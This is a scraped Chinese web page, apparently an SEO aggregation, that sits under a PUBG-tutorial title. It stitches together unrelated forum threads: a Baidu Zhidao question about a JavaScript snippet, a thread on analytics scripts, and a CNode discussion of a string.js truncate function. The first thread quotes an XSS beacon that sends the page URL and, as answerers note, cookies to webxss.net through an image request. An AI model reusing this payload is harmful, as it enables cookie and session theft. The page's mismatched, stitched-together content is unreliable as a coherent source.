绝地求生新手教程视频求教JS是什么意思

求大神 帮我大概看下这段js 干什么用的_百度知道
求大神 帮我大概看下这段js 干什么用的
(function(){(new Image()).src='http://webxss.net//index.php?do=api&id=Q6fQWR&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){r...
我有更好的答案
你这个格式 。。。。
我觉得 直接 传 代码 看不清。专门传了张图
取得你当前浏览的网站的URL,顶级域名,浏览器cookie, 浏览器类型上面有讲了,你直接alert就能看出来,然后通过escape函数进行了报装
采纳率:100%
取得你当前浏览的网站的URL,顶级域名,浏览器cookie, 浏览器类型
本回答被网友采纳
在用XSS打你的cookie……你是系统管理员吧……?
为您推荐:
其他类似问题
阿里巴巴的相关知识
换一换
回答问题,赢新手礼包求高手解释图中调用的JS的意义,新手不太懂,谢谢_百度知道
色情、暴力
我们会通过消息、邮箱等方式尽快将举报结果通知您。
求高手解释图中调用的JS的意义,新手不太懂,谢谢
我有更好的答案
一部分是引用第二部分关键是有2个,一3元判断 A:B 。第四部分跟第二部分类似。本来想看下第一部分js源码的,网址老是显示无效。应该服务器做了防盗判定;&gt,为假执行C;\&#47。二 unescape 解码编码字符。第三部分 是一个自定函数,作用应该是是获取浏览历史.write 输出一个script引用,解码之后就跟第一部分差不多的作用。一般对于一些html所用字符比如&等(标签用的符号)需要转义或编码使用。那句document,执行B?C 如果A为真。所有代码都是进行访问者信息统计的,一个是谷歌统计,一个是百度统计一个是自己网站
第一部分JS:
你给的第一部分就定义了几个变量而已。。没什么操作。反正这堆js都是用来统计访问信息的。
采纳率:62%
为您推荐:
其他类似问题
您可能关注的内容
换一换
回答问题,赢新手礼包本帖子已过去太久远了,不再提供回复功能。string.js有一段源码是什么意思?求教 - CNode技术社区
梦想还是要有的,万一实现了呢?
string.js中有一段源码,截取字符串的,中文有点问题,看了源码,有一段不是很明白,求教:
var tmpl = function(c){ return c.toUpperCase() !== c.toLowerCase() ? 'A' : ' '; },
template = str.slice(0, length+1).replace(/.(?=\W*\w*$)/g, tmpl); // 'Hello, world' -& 'HellAA AAAAA'
ps : str就是普通字符串
这段的目的是什么?
应小伙伴要求贴出方法全部:
truncate: function(length, pruneStr) { //from underscore.string, author: /rwz
var str = this.s;
length = ~~
pruneStr = pruneStr || '...';
if (str.length &= length) return new this.constructor(str);
var tmpl = function(c){ return c.toUpperCase() !== c.toLowerCase() ? 'A' : ' '; },
template = str.slice(0, length+1).replace(/.(?=\W*\w*$)/g, tmpl); // 'Hello, world' -& 'HellAA AAAAA'
if (template.slice(template.length-2).match(/\w\w/))
template = template.replace(/\s*\S+$/, '');
template = new S(template.slice(0, template.length-1)).trimRight().s;
return (template+pruneStr).length & str.length ? new S(str) : new S(str.slice(0, template.length)+pruneStr);
你能贴完整一点的代码吗?光这么看不太清楚
同不明白,代码贴全点也许能看出来。
截取字符串,超过length长度的字符串用…代替
方法的目的是这个,但问的问题,不是这个,3Q
顶下,让高手看到,哈哈
我猜测你的代码来自:
可以看到truncate函数现在的功能已经和原本不一样了,即楼主这里的代码实现是旧版本,现在被改为prune。
文档中如下写道:
truncate(string, length, truncateString) =& string
truncate('Hello world', 5)
// =& 'Hello...'
truncate('Hello', 10)
// =& 'Hello'
prune(string, length, pruneString) =& string
Elegant version of truncate. Makes sure the pruned string does not exceed the original length. Avoid half-chopped words when truncating.
prune('Hello, world', 5)
// =& 'Hello...'
prune('Hello, world', 8)
// =& 'Hello...'
prune('Hello, world', 5, ' (read a lot more)')
// =& 'Hello, world' (as adding &(read a lot more)& would be longer than the original string)
prune('Hello, cruel world', 15)
// =& 'Hello, cruel...'
prune('Hello', 10)
// =& 'Hello'
搞清楚这两个函数的功能,具体深入到代码里,我建议你在源码里加一句代码:
var tmpl = function(c){ return c.toUpperCase() !== c.toLowerCase() ? 'A' : ' '; },
template = str.slice(0, length+1).replace(/.(?=\W*\w*$)/g, tmpl); // 'Hello, world' -& 'HellAA AAAAA'
console.log(template); // &--这里加一句输出
然后再测一下这个函数,你应该就可以搞清楚上面这段代码在干嘛了
CNode 社区为国内最专业的 Node.js 开源技术社区,致力于 Node.js 的技术研究。
服务器赞助商为
,存储赞助商为
,由提供应用性能服务。
新手搭建 Node.js 服务器,推荐使用无需备案的

我要回帖

更多关于 绝地求生手游新手教程 的文章

 

随机推荐